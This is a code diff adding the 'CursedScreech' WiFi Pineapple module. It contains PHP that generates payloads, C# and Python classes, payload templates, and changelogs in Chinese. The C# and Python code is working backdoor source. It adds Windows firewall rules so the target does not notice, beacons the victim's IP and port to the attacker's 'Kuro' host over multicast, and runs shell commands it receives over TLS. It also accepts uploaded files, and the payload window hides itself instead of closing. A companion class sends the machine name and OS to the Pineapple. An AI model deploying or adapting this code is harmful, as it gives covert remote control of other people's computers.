+		if ($fh) {
+			fwrite($fh, $output);
+			fclose($fh);
+			$this->respond(true);
+			return true;
+		} else {
+			$this->respond(false);
+			return false;
+		}
+	}
+	
+	private function downloadLog($logName, $type) {
+		$dir = ($type == "forest") ? __FOREST__ : (($type == "targets") ? __TARGETLOGS__ : "");
+		if (file_exists($dir . $logName)) {
+			$this->respond(true, null, $this->downloadFile($dir . $logName));
+			return true;
+		}
+		$this->respond(false);
+		return false;
+	}
+	
+	private function genPayload($type) {
+		if ($type == "python") {
+			$dir = __API_PY__;
+			$payload = "payload.py";
+			$api = "PineappleModules.py";
+			$zip = "Python_Payload.zip";
+		} else if ($type == "cs") {
+			$dir = __API_CS__;
+			$payload = "payload.cs";
+			$api = "PineappleModules.cs";
+			$zip = "CS_Payload.zip";
+		} else if ($type == "cs_auth") {
+			$dir = __API_CS__;
+			$payload = "payloadAuth.cs";
+			$api = "PineappleModules.cs";
+			$zip = "CS_Auth_Payload.zip";
+		} else {
+			return null;
+		}
+		$template = "template/" . $payload;
+		
+		// Get the configs so we can push them to the payload template
+		$configs = $this->loadSettings();
+		
+		// Copy the contents of the payload template and add our configs
+		$contents = file_get_contents($dir . $template);
+		$contents = str_replace("IPAddress", $configs['mcast_group'], $contents);
+		$contents = str_replace("mcastport", $configs['mcast_port'], $contents);
+		$contents = str_replace("hbinterval", $configs['hb_interval'], $contents);
+		
+		// The format of the serial number in the C# payload differs from that in the
+		// Python payload.  Therefore, we need this check here.
+		if ($type == "python") {
+			$contents = str_replace("serial", $configs['kuro_serial'], $contents);
+			$contents = str_replace("publicKey", end(explode("/", $configs['target_key'])) . ".cer", $contents);
+			$contents = str_replace("kuroKey", end(explode("/", $configs['kuro_key'])) . ".cer", $contents);
+			$contents = str_replace("privateKey", end(explode("/", $configs['target_key'])) . ".pem", $contents);
+		} else {
+			$contents = str_replace("serial", exec(__SCRIPTS__ . "bigToLittleEndian.sh " . $configs['kuro_serial']), $contents);
+			
+			// This part seems confusing but the fingerprint is returned from the script in the following format:
+			// Fingerprint=AB:CD:EF:12:34:56:78:90
+			// And the C# payload requires it to be in the following format: ABCDEF1234567890
+			// Therefore we explode the returned data into an array, keep only the second element, then run a str_replace on all ':' characters
+			
+			$ret = exec(__SCRIPTS__ . "getFingerprint.sh " . $configs['kuro_key'] . ".cer");
+			$fingerprint = implode("", explode(":", explode("=", $ret)[1]));
+			$contents = str_replace("fingerprint", $fingerprint, $contents);
+			$contents = str_replace("privateKey", "Payload." . end(explode("/", $configs['target_key'])) . ".pfx", $contents);
+		}
+		
+		// Write the changes to the payload file
+		$fh = fopen($dir . $payload, "w");
+		fwrite($fh, $contents);
+		fclose($fh);
+		
+		// Archive the directory
+		$files = implode(" ", array($payload, $api, "Documentation.pdf"));
+		
+		// Command: ./packPayload.sh $dir -o $zip -f $files
+		exec(__SCRIPTS__ . "packPayload.sh " . $dir . " -o " . $zip . " -f \"" . $files . "\"");
+		
+		// Check if a file exists in the downloads directory
+		if (count(scandir(__API_DL__)) > 2) {
+			$this->respond(true, null, $this->downloadFile(__API_DL__ . $zip));
+			return true;
+		}
+		$this->respond(false);
+		return false;
+	}
+	
+	private function clearDownloads() {
+		$files = scandir(__API_DL__);
+		$success = true;
+		foreach ($files as $file) {
+			if (substr($file, 0, 1) == ".") {continue;}
+			if (!unlink(__API_DL__ . $file)) {
+				$success = false;
+			}
+		}
+		$this->respond($success);
+		return $success;
+	}
+	
+	private function loadAvailableInterfaces() {
+		$data = array();
+		exec(__SCRIPTS__ . "getListeningInterfaces.sh", $data);
+		if ($data == NULL) {
+			$this->logError("Load_Interfaces_Error", "Failed to load available interfaces for 'Listening Interface' dropdown.  Either the getListneingInterfaces.sh script failed or none of your interfaces have an IP address associated with them.");
+			$this->respond(false);
+		}
+		$this->respond(true, null, $data);
+	}
+	
+	//=========================//
+	//    PAYLOAD FUNCTIONS    //
+	//=========================//
+	
+	private function getPayloads() {
+		$files = [];
+		
+		foreach (scandir(__PAYLOADS__) as $file) {
+			if (substr($file, 0, 1) == ".") {continue;}
+			$files[$file] = __PAYLOADS__;
+		}
+		$this->respond(true, null, $files);
+		return $files;
+	}
+	
+	private function deletePayload($filePath) {
+		if (!unlink($filePath)) {
+			$this->logError("Delete Payload", "Failed to delete payload at path " . $filePath);
+			$this->respond(false);
+			return false;
+		}
+		$this->respond(true);
+		return true;
+	}
+	
+	private function cfgUploadLimit() {
+		$data = array();
+		$res = exec("python " . __SCRIPTS__ . "cfgUploadLimit.py > /dev/null 2>&1 &", $data);
+		if ($res != "") {
+			$this->logError("cfg_upload_limit_error", $data);
+			$this->respond(false);
+			return false;
+		}
+		$this->respond(true);
+		return true;
+	}
+	
+	/* ============================ */
+	/*        EZ CMD FUNCTIONS      */
+	/* ============================ */
+	
+	private function loadEZCmds() {
+		$contents = explode("\n", file_get_contents(__EZCMDS__));
+		$cmdDict = array();
+		foreach ($contents as $line) {
+			$cmd = explode(":", $line, 2);
+			$name = $cmd[0]; $action = $cmd[1];
+			$cmdDict[$name] = $action;
+		}
+		$this->respond(true, null, $cmdDict);
+		return $cmdDict;
+	}
+	
+	private function saveEZCmds($cmds) {
+		$fh = fopen(__EZCMDS__, "w");
+		if (!$fh) {
+			$this->respond(false);
+			return false;
+		}
+		foreach ($cmds as $k => $v) {
+			fwrite($fh, $k . ":" . $v . "\n");
+		}
+		fclose($fh);
+	}
+	
+	/* ============================ */
+	/*         MISCELLANEOUS        */
+	/* ============================ */
+	
+	private function respond($success, $msg = null, $data = null, $error = null) {
+		$this->response = array("success" => $success,"message" => $msg, "data" => $data, "error" => $error);
+	}
+	
+	/* ============================ */
+	/*         LOG FUNCTIONS        */
+	/* ============================ */
+	private function getLogs($type) {
+		$dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__);
+		$contents = array();
+		foreach (scandir($dir) as $log) {
+			if (substr($log, 0, 1) == ".") {continue;}
+			array_push($contents, $log);
+		}
+		$this->respond(true, null, $contents);
+	}
+	
+	private function retrieveLog($logname, $type) {
+		$dir = ($type == "error") ? __LOGS__ : (($type == "help") ? __HELPFILES__ : (($type == "forest") ? __FOREST__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__)));
+		$data = file_get_contents($dir . $logname);
+		if (!$data) {
+			$this->respond(true, null, "");
+			return;
+		}
+		$this->respond(true, null, $data);
+	}
+	
+	private function clearLog($log,$type) {
+		$dir = ($type == "forest") ? __FOREST__ : (($type == "targets") ? __TARGETLOGS__ : "");
+		$fh = fopen($dir . $log, "w");
+		fclose($fh);
+		$this->respond(true);
+	}
+	
+	private function deleteLog($logname, $type) {
+		$dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__);
+		$res = unlink($dir . $logname);
+		if (!$res) {
+			$this->respond(false, "Failed to delete log.");
+			return;
+		}
+		$this->respond(true);
+	}
+	
+	private function logError($filename, $data) {
+		$time = exec("date +'%H_%M_%S'");
+		$fh = fopen(__LOGS__ . str_replace(" ","_",$filename) . "_" . $time . ".txt", "w+");
+		fwrite($fh, $data);
+		fclose($fh);
+	}
+	
+	/* ===================================================== */
+	/*         KEY FUNCTIONS TO INTERFACE WITH PAPERS        */
+	/* ===================================================== */
+	
+	private function loadCertificates() {
+		$certs = $this->getKeys(__SSLSTORE__);
+		$this->respond(true,null,$certs);
+	}
+	
+	private function getKeys($dir) {
+		$keyType = "TLS/SSL";
+		$keys = scandir($dir);
+		$certs = array();
+		foreach ($keys as $key) {
+			if (substr($key, 0, 1) == ".") {continue;}
+
+			$parts = explode(".", $key);
+			$fname = $parts[0];
+			$type = "." . $parts[1];
+
+			// Check if the object name already exists in the array
+			if ($this->objNameExistsInArray($fname, $certs)) {
+				foreach ($certs as &$obj) {
+					if ($obj->Name == $fname) {
+						$obj->Type .= ", " . $type;
+					}
+				}
+			} else {
+				// Add a new object to the array
+				$enc = ($this->keyIsEncrypted($fname)) ? "Yes" : "No";
+				array_push($certs, (object)array('Name' => $fname, 'Type' => $type, 'Encrypted' => $enc, 'KeyType' => $keyType));
+			}
+		}
+		return $certs;
+	}
+	
+	private function objNameExistsInArray($name, $arr) {
+		foreach ($arr as $x) {
+			if ($x->Name == $name) {
+				return True;
+			}
+		}
+		return False;
+	}
+	
+	private function keyIsEncrypted($keyName) {
+		$data = array();
+		$keyDir = __SSLSTORE__;
+		exec(__SCRIPTS__ . "testEncrypt.sh -k " . $keyName . " -d " . $keyDir . " 2>&1", $data);
+		if ($data[0] == "writing RSA key") {
+			return false;
+		} else if ($data[0] == "unable to load Private Key") {
+			return true;
+		}
+	}
+}

BIN
modules/src/CursedScreech/includes/api/cs/Documentation.pdf


+ 390 - 0
modules/src/CursedScreech/includes/api/cs/PineappleModules.cs

@@ -0,0 +1,390 @@
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Security;
+using System.Net.Sockets;
+using System.Reflection;
+using System.Security.Authentication;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+
+namespace PineappleModules
+{
+    /*
+     * 
+     * Class:   CursedScreech
+     * Author:  sud0nick
+     * Created: March 3, 2016
+     * Updated: September 17, 2016
+     * 
+     * A class that sets up a multicast thread to broadcast back
+     * to the Pineapple on which port it is listening, sets up a
+     * server thread for executing remote shell commands secured via
+     * TLS 1.2, and establishes firewall rules to perform said actions
+     * unbeknownst to the target.
+     * 
+    */
+    public class CursedScreech
+    {
+        // ==================================================
+        //                 CLASS ATTRIBUTES
+        // ==================================================
+        private SslStream sslStream;
+        private string msg = "";
+        private int lport = 0;
+        private static string certSerial = "";
+        private static string certHash = "";
+        private string command = "";
+        private Boolean recvFile = false;
+        private byte[] fileBytes;
+        private int fileBytesLeftToRead = 0;
+        private string fileName = "";
+        private string storeDir = "";
+        private readonly string exePath = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
+        private readonly string exeName = Path.GetFileNameWithoutExtension(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName);
+
+        // ==================================================
+        //            CURSED SCREECH INITIALIZER
+        // ==================================================
+	    public CursedScreech() {
+
+            // Get the current path and name of the executable to set up rules for it in the firewall
+            string addTCPRule = "netsh advfirewall firewall add rule name=\"" + exeName + "\" program=\"" + exePath + "\" protocol=TCP dir=in localport=xxxxx action=allow";
+            string delFirewallRule = "netsh advfirewall firewall delete rule name=\"" + exeName + "\"";
+
+            // Generate a random port on which to listen for commands from Kuro
+            Random rnd = new Random();
+            lport = rnd.Next(10000, 65534);
+
+            // Delete old firewall rules
+            exec(delFirewallRule);
+
+            // Add new firewall rule
+            exec(addTCPRule.Replace("xxxxx", lport.ToString()));
+        }
+
+        // ===========================================================
+        //   OPTIONAL METHODS TO SET EXPECTED CERTIFICATE PROPERTIES
+        // ===========================================================
+        public void setRemoteCertificateHash(string hash) {
+            certHash = hash;
+        }
+
+        public void setRemoteCertificateSerial(string serial) {
+            certSerial = serial;
+        }
+
+        // ==================================================
+        //        METHOD TO START THE MULTICAST THREAD
+        // ==================================================
+        public void startMulticaster(string address, int port, int heartbeatInterval = 5) {
+            string addUDPRule = "netsh advfirewall firewall add rule name=\"" + exeName + "\" program=\"" + exePath + "\" protocol=UDP dir=out localport=" + port + " action=allow";
+            exec(addUDPRule);
+            new Thread(() => {
+                
+                UdpClient udpclient = new UdpClient(port);
+                IPAddress mcastAddr = IPAddress.Parse(address);
+                udpclient.JoinMulticastGroup(mcastAddr);
+                IPEndPoint kuro = new IPEndPoint(mcastAddr, port);
+                
+                while (true) {
+                    Byte[] buffer = null;
+                    string localIP = localAddress();
+                    if (localIP.Length == 0) {
+                        localIP = "0.0.0.0";
+                    }
+
+                    // If a message is available to be sent then do so
+                    if (msg.Length > 0) {
+                        msg = "msg:" + msg;
+
+                        buffer = Encoding.ASCII.GetBytes(msg);
+                        udpclient.Send(buffer, buffer.Length, kuro);
+                        msg = "";
+                    }
+
+                    // Send the listening socket information to Kuro
+                    buffer = Encoding.ASCII.GetBytes(localIP + ":" + lport.ToString());
+                    udpclient.Send(buffer, buffer.Length, kuro);
+                    //Console.WriteLine("Sent heartbeat to Kuro");
+
+                    // Sleep for however long the heartbeat interval is set
+                    Thread.Sleep(heartbeatInterval * 1000);
+                }
+            }).Start();
+        }
+
+        // ====================================================
+        //  MULTITHREADED SECURE LISTENER WITH SHELL EXECUTION
+        // ====================================================
+        public void startSecureServerThread(string key, string keyPassword) {
+            new Thread(() => startSecureServer(key, keyPassword)).Start();
+	    }
+
+        // ====================================================
+        //               BLOCKING SECURE SERVER
+        // ====================================================
+        public void startSecureServer(string key, string keyPassword) {
+
+            // Create a socket for the listener
+            IPAddress ipAddress = IPAddress.Parse("0.0.0.0");
+            IPEndPoint localEndPoint = new IPEndPoint(ipAddress, lport);
+            TcpListener listener = new TcpListener(localEndPoint);
+
+            // Read the certificate information from file.  This should be a .pfx container
+            // with a private and public key so we can be verified by Kuro
+            X509Certificate2 csKey = loadKeys(key, keyPassword);
+
+            // Tell the thread to operate in the background
+            Thread.CurrentThread.IsBackground = true;
+
+            bool connected = false;
+            TcpClient client = new TcpClient();
+            Int32 numBytesRecvd = 0;
+            try {
+
+                // Start listening
+                listener.Start();
+
+                while (true) {
+                    // Begin listening for connections
+                    client = listener.AcceptTcpClient();
+
+                    try {
+                        this.sslStream = new SslStream(client.GetStream(), false, atkCertValidation);
+                        this.sslStream.AuthenticateAsServer(csKey, true, (SslProtocols.Tls12 | SslProtocols.Tls11 | SslProtocols.Tls), false);
+
+                        connected = true;
+                        while (connected) {
+                            byte[] cmdRecvd = new Byte[4096];
+
+                            numBytesRecvd = this.sslStream.Read(cmdRecvd, 0, cmdRecvd.Length);
+
+                            if (numBytesRecvd < 1) {
+                                connected = false;
+                                client.Close();
+                                break;
+                            }
+
+                            // If a file is being received we don't want to decode the data because we
+                            // need to store the raw bytes of the file
+                            if (this.recvFile) {
+
+                                int numBytesToCopy = cmdRecvd.Length;
+                                if (this.fileBytesLeftToRead < cmdRecvd.Length) {
+                                    numBytesToCopy = this.fileBytesLeftToRead;
+                                }
+
+                                // Append the received bytes to the fileBytes array
+                                System.Buffer.BlockCopy(cmdRecvd, 0, this.fileBytes, (this.fileBytes.Length - this.fileBytesLeftToRead), numBytesToCopy);
+                                this.fileBytesLeftToRead -= numBytesRecvd;
+
+                                // If we have finished reading the file, store it on the system
+                                if (this.fileBytesLeftToRead < 1) {
+
+                                    // Let the system know we've received the whole file
+                                    this.recvFile = false;
+
+                                    // Store the file on the system
+                                    storeFile(this.storeDir, this.fileName, this.fileBytes);
+                                    
+                                    // Clear the fileName and fileBytes variables
+                                    this.fileName = "";
+                                    this.fileBytes = new Byte[1];
+                                }
+
+                            } else {
+                                // Assign the decrytped message to the command string
+                                this.command = Encoding.ASCII.GetString(cmdRecvd, 0, numBytesRecvd);
+
+                                Thread shellThread = new Thread(() => sendMsg());
+                                shellThread.Start();
+                            }
+                        }
+                    }
+                    catch (Exception) {
+                        connected = false;
+                        client.Close();
+                        break;
+                    }
+                }
+            }
+            catch (Exception) { }
+        }
+
+        // ==================================================
+        //            METHOD TO SEND DATA TO KURO
+        // ==================================================
+        private void sendMsg() {
+            string msg = this.command;
+            this.command = "";
+
+            // Check if we are about to receive a file and prepare
+            // the appropriate variables to receive it
+            // Msg format is sendfile:fileName:byteArraySize
+            if (msg.Contains("sendfile;")) {
+
+                this.recvFile = true;
+                string[] msgParts = msg.Split(';');
+                this.fileName = msgParts[1];
+                this.fileBytesLeftToRead = Int32.Parse(msgParts[2]);
+                this.storeDir = msgParts[3];
+                this.fileBytes = new Byte[this.fileBytesLeftToRead];
+
+            } else {
+
+                // If we are not expecting a file we simply execute
+                // the received command in the shell and return the results
+                string ret = exec(msg);
+                if (ret.Length > 0) {
+                    byte[] retMsg = Encoding.ASCII.GetBytes(ret);
+                    this.sslStream.Write(retMsg, 0, retMsg.Length);
+                }
+            }
+        }
+
+        // ==================================================
+        //         METHOD TO GET THE LOCAL IP ADDRESS
+        // ==================================================
+        private string localAddress() {
+            IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
+            foreach (IPAddress ip in host.AddressList) {
+                if (ip.AddressFamily == AddressFamily.InterNetwork) {
+                    return ip.ToString();
+                }
+            }
+            return "";
+        }
+
+        // ==================================================
+        //         METHOD TO EXECUTE A SHELL COMMAND
+        // ==================================================
+        private static string exec(string args) {
+            System.Diagnostics.Process proc = new System.Diagnostics.Process();
+            System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
+            startInfo.CreateNoWindow = true;
+            startInfo.UseShellExecute = false;
+            startInfo.RedirectStandardOutput = true;
+            startInfo.FileName = "cmd.exe";
+            startInfo.Arguments = "/C " + args;
+            proc.StartInfo = startInfo;
+            proc.Start();
+            proc.WaitForExit(2000);
+            return proc.StandardOutput.ReadToEnd();
+        }
+
+        // ==================================================
+        //          METHOD TO STORE A RECEIVED FILE 
+        // ==================================================
+        private void storeFile(string dir, string name, byte[] file) {
+            // If the directory doesn't exist, create it
+            Directory.CreateDirectory(dir);
+
+            // Write the file out to the directory
+            File.WriteAllBytes(dir + name, file);
+
+            // Tell Kuro the file was stored
+            byte[] retMsg = Encoding.ASCII.GetBytes("Received and stored file " + name + " in directory " + dir);
+            this.sslStream.Write(retMsg, 0, retMsg.Length);
+        }
+
+        // ==================================================
+        //           METHOD TO LOAD KEYS FROM A PFX
+        // ==================================================
+        private X509Certificate2 loadKeys(string key, string password) {
+            var certStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(key);
+            byte[] bytes = new byte[certStream.Length];
+            certStream.Read(bytes, 0, bytes.Length);
+            return new X509Certificate2(bytes, password);
+        }
+
+        // ==================================================
+        //        METHOD TO VERIFY KURO'S CERTIFICATE
+        // ==================================================
+        private static bool atkCertValidation(Object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors sslPolicyErrors) {
+            //Console.WriteLine(BitConverter.ToString(cert.GetSerialNumber()));
+            //Console.WriteLine(cert.GetCertHashString());
+            if (certSerial != "") {
+                if (BitConverter.ToString(cert.GetSerialNumber()) != certSerial) { return false; }
+            }
+            if (certHash != "") {
+                if (cert.GetCertHashString() != certHash) { return false; }
+            }
+            if (sslPolicyErrors == SslPolicyErrors.None) { return true; }
+            if (sslPolicyErrors == SslPolicyErrors.RemoteCertificateChainErrors) { return true; }
+            return false;
+        }
+    }
+
+
+
+    /*
+     * 
+     * Class:   PA_Authorization
+     * Author:  sud0nick
+     * Date:    July 16, 2016
+     * 
+     * A class for interacting with Portal Auth Shell Server
+     * This class simply connects back to the PASS script on
+     * the Pineapple, supplies some system info, and retrieves
+     * an access key for the victim to log on to the portal.
+     * 
+    */
+
+    public class PA_Authorization {
+        private string rHost;
+        private int rPort;
+        private string accessKey = "";
+
+        public PA_Authorization(string remoteHost = "172.16.42.1", int remotePort = 4443) {
+            rHost = remoteHost;
+            rPort = remotePort;
+        }
+
+        public string getAccessKey() {
+            // Establish a new socket to connect back to the Pineapple
+            TcpClient c_bk = new TcpClient();
+
+            try {
+                c_bk.Connect(rHost, rPort);
+            }
+            catch {
+                return "";
+            }
+            
+            
+            NetworkStream pa_stream = c_bk.GetStream();
+
+            // Send system information to PortalAuth
+            string systemInfo = "0;" + System.Environment.MachineName + ";" + System.Environment.OSVersion;
+            byte[] sysinfo = Encoding.ASCII.GetBytes(systemInfo);
+            pa_stream.Write(sysinfo, 0, sysinfo.Length);
+
+            // Get the access key back from PortalAuth
+            byte[] msgRecvd = new Byte[1024];
+            Int32 bytesRecvd = 0;
+            bytesRecvd = pa_stream.Read(msgRecvd, 0, msgRecvd.Length);
+
+            if (bytesRecvd < 1) {
+                c_bk.Close();
+                return "";
+            }
+            else {
+                accessKey = Encoding.ASCII.GetString(msgRecvd, 0, bytesRecvd);
+            }
+
+            // Close the connection
+            c_bk.Close();
+
+            // Return accessKey with either an error message or the key that was received
+            return accessKey;
+        }
+    }
+}

+ 24 - 0
modules/src/CursedScreech/includes/api/cs/template/payload.cs

@@ -0,0 +1,24 @@
+using System;
+using System.Drawing;
+using System.Windows.Forms;
+using CursedScreech;
+
+namespace Payload
+{
+    public partial class Form1 : Form {
+
+        public Form1() {
+            InitializeComponent();
+            
+			CursedScreech.CursedScreech cs = new CursedScreech.CursedScreech();
+            cs.startMulticaster("IPAddress", mcastport, hbinterval);
+            cs.setRemoteCertificateSerial("serial");
+            cs.setRemoteCertificateHash("fingerprint");
+            cs.startSecureServerThread("privateKey", "password");
+        }
+        private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
+            e.Cancel = true;
+            this.Hide();
+        }
+    }
+}

+ 44 - 0
modules/src/CursedScreech/includes/api/cs/template/payloadAuth.cs

@@ -0,0 +1,44 @@
+using System;
+using System.Drawing;
+using System.Windows.Forms;
+using PineappleModules;
+
+namespace Payload
+{
+    public partial class Form1 : Form {
+		
+		PA_Authorization pauth = new PA_Authorization();
+
+        public Form1() {
+            InitializeComponent();
+            
+			CursedScreech cs = new CursedScreech();
+            cs.startMulticaster("IPAddress", mcastport, hbinterval);
+            cs.setRemoteCertificateSerial("serial");
+            cs.setRemoteCertificateHash("fingerprint");
+            cs.startSecureServerThread("privateKey", "password");
+        }
+        private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
+            e.Cancel = true;
+            this.Hide();
+        }
+		
+		private void accessKeyButton_Click(object sender, EventArgs e) {
+			
+			// Request an access key from the Pineapple
+            string key = pauth.getAccessKey();
+
+            // Check if a key was returned
+            string msg;
+            if (key.Length > 0) {
+                msg = "Your access key is unique to you so DO NOT give it away!\n\nAccess Key: " + key;
+            }
+            else {
+                msg = "Failed to retrieve an access key from the server.  Please try again later.";
+            }
+
+            // Display message to the user
+            MessageBox.Show(msg);
+		}
+    }
+}

BIN
modules/src/CursedScreech/includes/api/python/Documentation.pdf


+ 152 - 0
modules/src/CursedScreech/includes/api/python/PineappleModules.py

@@ -0,0 +1,152 @@
+import time
+import subprocess
+from random import randint
+import platform
+import threading
+import sys
+from ssl import *
+from socket import *
+
+class CursedScreech:
+
+	def __init__(self, progName):
+		self.ProgName = progName
+		self.msg = ""
+		self.lport = 0
+		self.certSerial = ""
+		self.threads = []
+		
+	
+	# ==================================================
+	#        METHOD TO START THE MULTICAST THREAD
+	# ==================================================
+	def startMulticaster(self, addr, port, heartbeatInterval = 5):
+		# Set up a heartbeat thread
+		hbt = threading.Thread(target=self.sendHeartbeat, args=(addr,port,heartbeatInterval))
+		self.threads.append(hbt)
+		hbt.start()
+		
+	
+	# ====================================================
+	#  MULTITHREADED SECURE LISTENER WITH SHELL EXECUTION
+	# ====================================================
+	def startSecureServerThread(self, keyFile, certFile, remoteCert):
+		sst = threading.Thread(target=self.startSecureServer, args=(keyFile,certFile,remoteCert))
+		self.threads.append(sst)
+		sst.start()
+		
+	# ========================================================
+	#   METHOD TO SET THE EXPECTED CERTIFICATE SERIAL NUMBER
+	# ========================================================
+	def setRemoteCertificateSerial(self, serial):
+		self.certSerial = serial
+		
+		
+	# ======================================
+	#           HEARTBEAT THREAD
+	# ======================================
+	def sendHeartbeat(self, MCAST_GROUP, MCAST_PORT, hbInterval):
+		
+		# Add a firewall rule in Windows to allow outbound UDP packets
+		addUDPRule = "netsh advfirewall firewall add rule name=\"" + self.ProgName + "\" protocol=UDP dir=out localport=" + str(MCAST_PORT) + " action=allow";
+		subprocess.call(addUDPRule, shell=True, stdout=subprocess.PIPE)
+		
+		# Set up a UDP socket for multicast
+		sck = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
+		sck.setsockopt(IPPROTO_IP, IP_MULTICAST_TTL, 2)
+		
+		# Infinitely loop and send a broadcast to MCAST_GROUP with our
+		# listener's IP and port information.
+		while True:
+			ip = gethostbyname(gethostname())
+			if len(self.msg) > 0:
+				sck.sendto("msg:" + self.msg, (MCAST_GROUP, MCAST_PORT))
+				
+				# Clear out the message
+				self.msg=""
+			
+			sck.sendto(ip + ":" + str(self.lport), (MCAST_GROUP, MCAST_PORT))
+			time.sleep(hbInterval)
+	
+	
+	# ===================================================
+	#    BLOCKING SECURE LISTENER WITH SHELL EXECUTION
+	# ===================================================
+	def startSecureServer(self, keyFile, certFile, remoteCert):
+	
+		# Create a listener for the secure shell
+		ssock = socket(AF_INET, SOCK_STREAM)
+		ssock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
+		listener = wrap_socket(ssock, ssl_version=PROTOCOL_SSLv23, keyfile=keyFile, certfile=certFile, cert_reqs=CERT_REQUIRED, ca_certs=remoteCert)
+		
+		# Pick a random port number on which to listen and attempt to bind to it
+		# If it is already in use simply continue the process until an available
+		# port is found.
+		bound = False
+		while bound == False:
+			self.lport = randint(30000, 65534)
+			try:
+				listener.bind((gethostname(), self.lport))
+				bound = True
+			except:
+				bound = False
+				continue
+				
+		# Set up rules in the firewall to allow connections from this program
+		addTCPRule = "netsh advfirewall firewall add rule name=\"" + self.ProgName + "\" protocol=TCP dir=in localport=xxxxx action=allow";
+		delFirewallRule = "netsh advfirewall firewall delete rule name=\"" + self.ProgName + "\"";
+		
+		try:
+			# Delete old firewall rules if they exist
+			subprocess.call(delFirewallRule, shell=True, stdout=subprocess.PIPE)
+	
+			# Add a firewall rule to Windows Firewall that allows inbound connections on the port
+			addTCPRule = addTCPRule.replace('xxxxx', str(self.lport))
+			subprocess.call(addTCPRule, shell=True, stdout=subprocess.PIPE)
+		except:
+			pass
+			
+		listener.listen(5)
+		connected = False
+		
+		# Begin accepting connections and pass all commands to execShell in a separate thread
+		while 1:
+			if not connected:
+				(client, address) = listener.accept()
+				connected = True
+		
+				# Verify the client's certificate.  If the serial number doesn't match
+				# kill the connection and wait for a new one.
+				if len(self.certSerial) > 0:
+					cert = client.getpeercert()
+					if not cert['serialNumber'] == self.certSerial:
+						connected = False
+						self.msg = "[!] Unauthorized access attempt on target " + gethostbyname(gethostname()) + ":" + str(self.lport)
+						continue
+			while 1:
+				try:
+					cmd = client.recv(4096)
+					
+					if not len(cmd):
+						connected = False
+						break
+						
+					shellThread = threading.Thread(target=self.execShellCmd, args=(client,cmd))
+					self.threads.append(shellThread)
+					shellThread.start()
+				except:
+					connected = False
+					break
+
+		listener.close()
+		
+		
+	# ======================================
+	#         EXECUTE A CMD IN SHELL
+	# ======================================
+	def execShellCmd(self, sock, cmd):
+		proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
+		stdout_value = proc.stdout.read() + proc.stderr.read()
+		sock.sendall(stdout_value)
+		
+		

+ 6 - 0
modules/src/CursedScreech/includes/api/python/template/payload.py

@@ -0,0 +1,6 @@
+from PineappleModules import CursedScreech
+
+cs = CursedScreech("Network Client")
+cs.startMulticaster("IPAddress", mcastport, hbinterval)
+cs.setRemoteCertificateSerial("serial")
+cs.startSecureServerThread("privateKey", "publicKey", "kuroKey")

+ 1 - 0
modules/src/CursedScreech/includes/changelog/Version 1.0

@@ -0,0 +1 @@
+ - 模块已发布.

+ 6 - 0
modules/src/CursedScreech/includes/changelog/Version 1.1

@@ -0,0 +1,6 @@
+
+<br /><br />
+ - 更新了API以包含一个类,该类挂钩到PortalAuth的Payloader注入集以强制授权。这确保了目标执行有效载荷以访问网络。
+<br /><br />
+ - 在“设置”下添加了一个复选框,以自动在有效负载源中包含授权代码。<br /><br />
+ - 增加了选择sein将监听的接口的能力。这修复了目标不会出现在菠萝网络的错误。

+ 9 - 0
modules/src/CursedScreech/includes/changelog/Version 1.2

@@ -0,0 +1,9 @@
+
+<br /><br />
+ - 更新的C# API支持在目标机器上接收和存储文件<br />
+ - 更新的用户界面<br />
+ - 添加了文件上传选项来导入有效负载<br />
+ - 添加了“发送文件”EZ Cmd发送有效载荷到目标机器<br />
+ - 当塞恩和李书行不运行的时候,减少了模块的资源消耗<br />
+ - 修正了证书库不能正确识别加密密钥的错误<br />
+ - 添加了这样的功能,即不能在证书存储中为李书行选择加密的密钥

Энэ ялгаанд хэт олон файл өөрчлөгдсөн тул зарим файлыг харуулаагүй болно